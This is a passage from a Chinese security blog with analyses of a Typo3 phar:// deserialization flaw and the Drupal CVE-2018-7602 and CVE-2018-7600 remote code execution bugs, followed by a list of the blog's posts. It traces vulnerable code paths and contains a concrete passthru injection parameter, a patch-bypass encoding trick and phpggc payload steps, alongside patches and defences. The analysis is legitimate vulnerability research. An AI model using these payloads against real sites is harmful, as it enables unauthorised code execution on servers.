这里有两个关键点，一是文件标识，必须以__HALT_COMPILER();?>结尾，但前面的内容没有限制，也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制；二是反序列化，phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化，而这样的文件操作函数有很多，包括下面这些：

图片来自seebug

这中间大多数是常用的函数，在一个系统中使用相当广泛，结合文件伪造，使得通过phar://解析造成的反序列化攻击变得愈加容易。

三、漏洞分析

接下来看一下Typo3中存在漏洞的代码

在typo3/sysext/core/Classes/Database/SoftReferenceIndex.php的getTypoLinkParts()方法

上面说到存在风险的文件操作函数，其中就包括file_exists()，当传给file_exists()的参数是phar压缩文档并通过phar://伪协议解析时，就会反序列化其中的metadata数据，一旦该数据被控制，就会形成漏洞。

下面举一个例子演示

可以看到通过file_exists()函数判断文件是否存在即对TestObject类进行了反序列化。

那么我们可以构造$splitLinkParam参数为phar文件，其中包含恶意代码，传递给file_exists()函数，便会触发漏洞。

四、漏洞利用

pharggc是在phpggc的基础上增加了对phar的支持，能够将序列化后的payload写入到phar文件中，通过phar://解析时触发payload

我们已经找到可以触发漏洞的地方，但还需要一个类来执行代码，在Typo3中同样存在FnStream类，所以我们还是使用guzzle/rce1载荷将数据写入一张图片中

然后上传这个附件，接着创建一个页面，将Link设置为phar://，注意需要将:转义

保存后就会触发漏洞

调用栈如下图所示

五、总结及防御

这个漏洞利用的是phar的特性，在系统未过滤phar://协议且参数可以控制时，容易引发漏洞，开发时也需要多注意限制使用不必要的流包装器，上传文件也要校验文件内容而不仅仅是文件头。

防范措施

限制PHP流包装器的使用(传递)；
控制文件操作函数的参数，过滤特殊字符，例如 phar:// 等；
仅在特别请求时才对元数据进行反序列化；

0x04 总结

本文分析了两个漏洞，并结合phpggc工具梳理了反序列化漏洞常见的攻击方式，以及如何寻找一条可以利用的POP链，也提到了开发中容易忽略的安全风险，希望能给大家起到帮助。

参考：

https://paper.seebug.org/334/

https://paper.seebug.org/680

https://github.com/ambionics/phpggc

https://github.com/s-n-t/phpggc

http://php.net/manual/en/function.yaml-parse.php

http://php.net/manual/en/intro.phar.php

https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2017-06-21/drupal-core-multiple

https://typo3.org/security/advisory/typo3-core-sa-2018-002/

CVE-2018-7602 Drupal 内核远程代码执行漏洞分析

Thu, 26 Apr 2018 17:21:11 +0000

0x01 概述

4月25日，Drupal官方发布通告，Drupal Core 存在一个远程代码执行漏洞，影响 7.x 和 8.x 版本。据分析，这个漏洞是CVE-2018-7600的绕过利用，两个漏洞原理是一样的，通告还称，已经发现了这个漏洞和CVE-2018-7600的在野利用，详情请看 https://www.drupal.org/sa-core-2018-004

0x02 影响版本

Drupal 6.x，7.x，8.x

修复版本 Drupal 7.59，Drupal 8.4.8，Drupal 8.5.3

0x03 环境搭建

历史版本 https://www.drupal.org/project/drupal/releases

0x04 漏洞分析

分析还是以7.57版本为例。跟7600漏洞的7.x版本很相似，只不过入口不一样，可以参考http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/

上回漏洞的关键点是让系统缓存一个form_build_id，这个form存着我们传入的恶意参数，第二个请求从中取出来然后执行。这次的原理还是一样，触发漏洞还是需要发两个post包，一个存入form_build_id一个取出后执行。

这次的问题出在删除文章的时候，因此需要文章删除权限，我们先走一遍正常删除文章的逻辑

请求中每个node即代表一篇文章。可以看到是会重定向到文章页面的，根据上个漏洞的分析我们猜测，一定还是走到了drupal_redirect_form()，我们已经知道如果走到drupal_redirect_form()分支，是不会往数据库缓存form_build_id的，我们的目的还是让程序不满足一定条件从而不进行表单提交后重定向，所以还是跟着CVE-2018-7600的套路来走

从代码层面看一下

之前的流程还是一样，直接跳到drupal_build_form()方法第386行

drupal_process_form($form_id, $form, $form_state);

跟入drupal_process_form()

还是一样，$form_state['submitted']被设置为true

回到902行

if ($form_state['submitted'] && !form_get_errors() && !$form_state['rebuild']) 条件被满足，进入这个分支便会执行drupal_redirect_form()

而在这一步之前需要经过的判断是_form_element_triggered_scripted_submission() 所以回到一开始的问题，构造一个_triggering_element_value使得键值对相等，从而不进行rebuild

我们传入_triggering_element_name=form_id

可以看到条件被满足，$form_state['submitted']没有被设置为true，还是保持默认值false

进入drupal_rebuild_form()

表单被缓存

然后我们发送第二个post包来取出我们构造好的form，向file/ajax/actions/cancel/%23options/path发起请求

参数传递进去

最终还是跟入到 $output = drupal_render($form); 根据前几次的经验，我们还是选择'#post_render'参数，

假如我们能控制这个参数，在drupal_render()方法里就会把这个参数作为$function函数名，而传给它的参数则是[%23markup]

所以问题回到了一开始，我们需要传递什么样的恶意参数，可以让系统直接接收而不经过过滤，还是之前的套路，搜索module下删除文章的相关操作

可以看到node_form_delete_submit()方法从get方法直接接收参数destination，与最初分析正常删除文章的参数正是同一个，那么我们就可以利用destination传进恶意参数

构造如下 destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir

注意此处需要转义百分号，对#进行二次编码，以绕过CVE-2018-7600的补丁，不然在取值时会被认为q[是一个值

原因： includes/common.inc的drupal_parse_url()方法对url进行了解析，而在url传入到Drupal内部的时候已经经过一层解码，也就是说

destination=a?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=dir

在进入Drupal时已经被解码成

destination=a?q[%23post_render][]=passthru%26q[%23type]=markup%26q[%23markup]=dir

然后经过parse_url()方法对url结构进行解析

a参数是次要的，主要是q参数，因为在drupal_parse_url()下半部分从q取出值赋给$options['path']，也就是a被覆盖了，这个时候的$options['path']就是我们传入的数组

参数缓存进整个form后通过第二个请求取出，同样经过

foreach ($form_parents as $parent) {
    $form = $form[$parent];
  }

遍历叶子节点取出参数

进入drupal_render()执行

0x05 PoC

略

0x06 补丁

7.x的补丁

https://github.com/drupal/drupal/commit/080daa38f265ea28444c540832509a48861587d0

其中一个重要操作就是对destination参数进行了净化

0x07 总结

总的来说这个漏洞是CVE-2018-7600的另一个利用点，只是入口方式不一样，最终执行点还是相同的，所以还是那句话，一旦参数可控并且没有经过正确的过滤，就很有可能出问题。

CVE-2018-7600 Drupal 7.x 版本代码执行漏洞分析

Fri, 20 Apr 2018 23:05:34 +0000

0x01 概述

CVE-2018-7600影响范围包括了Drupal 6.x，7.x，8.x版本，前几天8.x版本的PoC出来之后大家都赶紧分析了一波，然后热度似乎慢慢退去了。两天前Drupalgeddon2项目更新了7.x版本的exp，实际环境也出现了利用，下面就简单来看一下

看到项目上这样写

Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP’s passthru function

提示了问题出在user/password路径下，通过#post_render传递恶意参数，问题出现在triggering_element_name表单处理下

0x02 漏洞分析

我们从三个问题入手，为什么PoC发了两个包，第二次请求为什么要带上一个form_build_id，以及为什么选择user/password这个入口

先分析第一个post，照例还是先看一下Drupal 7的表单处理流程，跟8版本不太一样，但是入口还是相似的。根据文档描述，当我们提交一个表单(例如找回密码)时，系统会通过form_builder()方法创建一个form 一系列预处理后，会由drupal_build_form ()方法创建一个表单，在第386行调用drupal_process_form()方法，跟进drupal_process_form()方法，这时候默认的$form_state['submitted']为false

不满足if条件，$form_state['submitted']被设置为true

于是进入这个分支，最终被drupal_redirect_form重定向

我们的目的是要让系统缓存一个form_build_id，以便后面拿出来用。要想form被缓存，就得想办法让if ($form_state['submitted'] && !form_get_errors() && !$form_state['rebuild'])不成立，也就是说要使$form_state['submitted']为false 从而进入下面的drupal_rebuild_form

那么如何让$form_state['submitted']为false呢？

在includes/form.inc第886行 $form = form_builder($form_id, $form, $form_state); 跟进form_builder方法，第1987行

if (!empty($form_state['triggering_element']['#executes_submit_callback'])) {
  $form_state['submitted'] = TRUE;
}

当$form_state['triggering_element']['#executes_submit_callback']存在值的时候就为true，那么我们就想办法让这个值为空往上看第1972行

if (!$form_state['programmed'] && !isset($form_state['triggering_element']) && !empty($form_state['buttons'])) {
  $form_state['triggering_element'] = $form_state['buttons'][0];
}

如果没有设置$form_state['triggering_element']，那么$form_state['triggering_element']就设置为第一个button的值，所以正常传递表单的时候$form_state['triggering_element']['#executes_submit_callback']就总会有值

现在问题来了，如何构造一个form能够确保$form_state['triggering_element']['#executes_submit_callback']为空或者说不存在这个数组呢？

我们注意到第1864行

if (!empty($element['#input'])) {
  _form_builder_handle_input_element($form_id, $element, $form_state);
}

_form_builder_handle_input_element()方法对表单先进行了处理，跟进去看一下

第2144行

// Determine which element (if any) triggered the submission of the form and
// keep track of all the clickable buttons in the form for
// form_state_values_clean(). Enforce the same input processing restrictions
// as above.
if ($process_input) {
  // Detect if the element triggered the submission via Ajax.
  if (_form_element_triggered_scripted_submission($element, $form_state)) {
    $form_state['triggering_element'] = $element;
  }

这里$form_state['triggering_element']被设置为$element，前提是满足_form_element_triggered_scripted_submission()方法，继续跟入第2180行

function _form_element_triggered_scripted_submission($element, &$form_state) {
  if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) {
    if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) {
      return TRUE;
    }
  }
  return FALSE;
}

这个方法的意思是说如果_triggering_element_value和$element的键值都相等的话，返回true $form_state['triggering_element']赋值为$element，其中不含['#executes_submit_callback']，一开始的条件就成立了

根据PoC，我们传入_triggering_element_name=name

看到进入这个分支，进入form_set_cache()方法

数据库中插入缓存form_build_id

成功写入缓存

接下去来看一下这个缓存有什么用

分析PoC的第二个包，请求参数是这样q=file/ajax/name/%23value/form_build_id form_build_id即我们上一个写入数据库的缓存表单

首先请求会进入includes/menu.inc的menu_get_item()方法，

function menu_get_item($path = NULL, $router_item = NULL) {
  $router_items = &drupal_static(__FUNCTION__);
  if (!isset($path)) {
    $path = $_GET['q'];
  }
  if (isset($router_item)) {
    $router_items[$path] = $router_item;
  }
  if (!isset($router_items[$path])) {
    // Rebuild if we know it's needed, or if the menu masks are missing which
    // occurs rarely, likely due to a race condition of multiple rebuilds.
    if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) {
      if (_menu_check_rebuild()) {
        menu_rebuild();
      }
    }
    $original_map = arg(NULL, $path);

    $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
    $ancestors = menu_get_ancestors($parts);
    $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();

    if ($router_item) {
      // Allow modules to alter the router item before it is translated and
      // checked for access.
      drupal_alter('menu_get_item', $router_item, $path, $original_map);

      $map = _menu_translate($router_item, $original_map);
      $router_item['original_map'] = $original_map;
      if ($map === FALSE) {
        $router_items[$path] = FALSE;
        return FALSE;
      }
      if ($router_item['access']) {
        $router_item['map'] = $map;
        $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts']));
        $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts']));
      }
    }
    $router_items[$path] = $router_item;
  }
  return $router_items[$path];
}

$path即我们传进去的q参数，经过一系列处理传给menu_get_ancestors()方法，该方法把path重新组合成一堆router，也就是Drupal处理路由到具体url的传参方式，最终被db_query_range()带入数据库查询我们关注查询结果$router_item的page_callback值，因为这个值最终会作为参数被带入call_user_func_array()

if ($page_callback_result == MENU_SITE_ONLINE) {
  if ($router_item = menu_get_item($path)) {
    if ($router_item['access']) {
      if ($router_item['include_file']) {
        require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
      }
      $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
    }
    else {
      $page_callback_result = MENU_ACCESS_DENIED;
    }
  }
  else {
    $page_callback_result = MENU_NOT_FOUND;
  }
}

到这里就跟8版本的情况有点类似了

跟入回调函数file_ajax_upload()

还是一样，把$form_parents完整取出赋值给$form，加上一些前缀后缀后最终进入drupal_render()方法

最终得到执行

到目前为止我们分析清楚了为什么PoC要发两次包，以及第二次请求为什么要带上一个form_build_id，现在来想一想为什么要请求user/password这个路径呢？在user这个module下的user_pass()方法

function user_pass() {
  global $user;

  $form['name'] = array(
    '#type' => 'textfield',
    '#title' => t('Username or e-mail address'),
    '#size' => 60,
    '#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
    '#required' => TRUE,
    '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
  );
  ...
  return $form;

看到这里是不是感觉跟8版本很相似，#default_value从get的name参数里取值，而name可以作为数组传入，它的属性在下面正好可以被利用，一个巧妙的利用链就串起来了。

0x03 总结

Drupal 7.x的利用比8.x要复杂一些，但触发点和一开始的风险因素还是类似的，一是接收参数过滤不当，而是可控参数进入危险方法。官方补丁把入口处的#全给过滤了，简单粗暴又有效，估计再利用框架本身的特性想传递进一些数组或元素就很难了。

0x04 参考

CVE-2018-7600 Drupal 内核远程代码执行漏洞分析

Fri, 13 Apr 2018 23:05:34 +0000

0x01 概述

https://www.drupal.org/sa-core-2018-002

0x02 影响版本

Drupal 6.x，7.x，8.x

修复版本 Drupal 7.58，Drupal 8.5.1

0x03 环境搭建

历史版本 https://www.drupal.org/project/drupal/releases

0x04 流程梳理

先来理清一下Drupal处理表单的情况。更详细的可以看文档

Drupal提供了一个应用程序接口（API），用来生成、验证和处理HTML表单。表单API将表单抽象为一个嵌套数组，里面包含了属性和值。在生成页面时，表单呈现引擎会在适当的时候将数组呈现出来。

模块使用关联数组向Drupal描述表单。Drupal的表单引擎负责为要显示的表单生成HTML，并使用三个阶段来安全的处理提交了的表单：验证、提交、重定向。

Drupal比较特殊，它不像大部分cms通过html直接渲染页面，而是把接收的数据交给core/lib/Drupal/Core/Form/FormBuilder.php的buildForm()方法处理，buildForm()经过处理后返回一个结构体(数组)，数组通过引擎生成HTML。

当我们提交一个表单(例如注册页面)，buildForm()方法会根据$form_id取出数据，经过一系列处理后返回一个树形结构，这个结构就是通过数组存储的，就是我们看到的类似[$current_file_count]['#attributes']['class'][]的结构，数组每个元素作为一个叶子节点，后续就把整个form结构渲染出页面。

当我们在注册页面上传一张图片的时候，form结构被传给core/modules/file/src/Element/ManagedFile.php的uploadAjaxCallback()方法，这个方法用来处理上传文件的情况

 public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');

    $form_parents = explode('/', $request->query->get('element_parents'));

    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);

    // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
      $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
      $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }

    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);

    $response = new AjaxResponse();
    $response->setAttachments($form['#attached']);

    return $response->addCommand(new ReplaceCommand(NULL, $output));
  }

问题就出现在$request->query->get('element_parents')这个地方，$form_parents父节点的值是从get()取出element_parents参数传进去的，进入下面的NestedArray::getValue()方法，getValue()的作用是接收一个节点，把这个节点下的叶子节点全部遍历出来，再根据叶子节点的key-value值进行后续操作。

按理说这样的功能很正常，关键就在于这个element_parents正是我们可以控制的，也就是说我们可以指定uploadAjaxCallback()渲染我们给它的参数，而这个参数可以是恶意的。

0x05 漏洞分析

那么我们传进去什么参数呢？我们先来测试一下，正常注册流程，mail参数传进去一个数组的话会怎么样

可以看到我们构造的“子节点”被存储在mail-value下，如果要取出这个值就得让上面提到的getValue()接收这个参数，所以我们构造element_parents=account/name/%23value，这样子getValue()就会遍历出我们构造的参数

现在参数已经能够传进去了，那么在哪里执行呢？继续往下跟

$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
	$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
	$form['#suffix'] .= '<span class="ajax-new-content"></span>';
}

$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);

可以看到经过getValue()遍历出来的叶子节点(就是此时的form)被传进$renderer->renderRoot()方法，跟进去看一下

core/lib/Drupal/Core/Render/Renderer.php

  public function render(&$elements, $is_root_call = FALSE) {
...
    try {
      return $this->doRender($elements, $is_root_call);
    }
    catch (\Exception $e) {
      // Mark the ::rootRender() call finished due to this exception & re-throw.
      $this->isRenderingRoot = FALSE;
      throw $e;
    }
  }

调用doRender()方法

这个方法比较长，但是我们从中找到了几处执行call_user_func()的地方，先看一下第三处

if (isset($elements['#post_render'])) {
    foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
            $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
    }
}

接收的第一个参数$elements['#post_render']作为函数，第二个参数$elements['#children']作为参数，在上面被赋值

if (!$theme_is_implemented && isset($elements['#markup'])) {
    $elements['#children'] = Markup::create($elements['#markup'] . $elements['#children']);
}

这两个参数都是我们可控的，于是造成一个代码执行

回头看一下这处call_user_func_array，这里的$callable和$args两个参数实际上也是可控的，通过#lazy_builder属性传进来，checkpoint的分析报告正是分析了这个地方

0x06 总结

关注这个漏洞也是好长时间了，当时粗略看了一下，因为补丁直接对入口进行了过滤，要找到真正触发的地方太难了，所以也迟迟不见PoC出来。checkpoint的分析报告出来后好好跟了一遍，不得不感叹人家真厉害(逃…

这个漏洞关键点有两个，一个是uploadAjaxCallback里$form_parents由get直接传进参数，这里就存在风险；另一处call_user_func两个参数均可控，两者结合造成一个严重的远程代码执行漏洞，看分析报告如何一步步构造利用链，可谓是十分精彩了。

Drupal on 诗与胡说

SA-CORE-2019-008 Drupal访问绕过漏洞分析

0x01 概述

0x02 受影响的版本

0x03 漏洞复现

0x04 漏洞分析

Workspaces的功能

漏洞分析

0x05 总结

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

0x01 概述

0x02 环境搭建

0x03 漏洞分析

第一部分：注入代码并生成邮件

第二部分：发送邮件

思考

参考

SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析

0x01 概述

0x02 漏洞分析

0x03 尝试利用

初探

突破

组合拳

0x04 漏洞利用

0x05 总结

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

环境搭建

第一部分：注入代码并生成邮件

第二部分：发送邮件

思考

参考

SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析

0x01 概述

0x02 影响版本

0x03 Web Services

0x04 漏洞分析

0x05 PoC

0x06 总结

由PHPGGC理解PHP反序列化漏洞

0x01 概述

0x02 Drupal Yaml反序列化漏洞

一、介绍

PECL YAML parser unsafe object handling - Critical - Drupal 8 - CVE-2017-6920

二、漏洞分析

三、漏洞利用

1. 远程代码执行

2. 任意文件写入

3. 任意文件删除

四、总结

0x03 Typo3反序列化漏洞

一、介绍

二、phar://介绍

三、漏洞分析

四、漏洞利用

五、总结及防御

0x04 总结

CVE-2018-7602 Drupal 内核远程代码执行漏洞分析

0x01 概述

0x02 影响版本

0x03 环境搭建

0x04 漏洞分析

0x05 PoC

0x06 补丁

0x07 总结

CVE-2018-7600 Drupal 7.x 版本代码执行漏洞分析

0x01 概述

0x02 漏洞分析

0x03 总结

0x04 参考

CVE-2018-7600 Drupal 内核远程代码执行漏洞分析

0x01 概述

0x02 影响版本

0x03 环境搭建

0x04 流程梳理

0x05 漏洞分析

0x06 总结

0x07 参考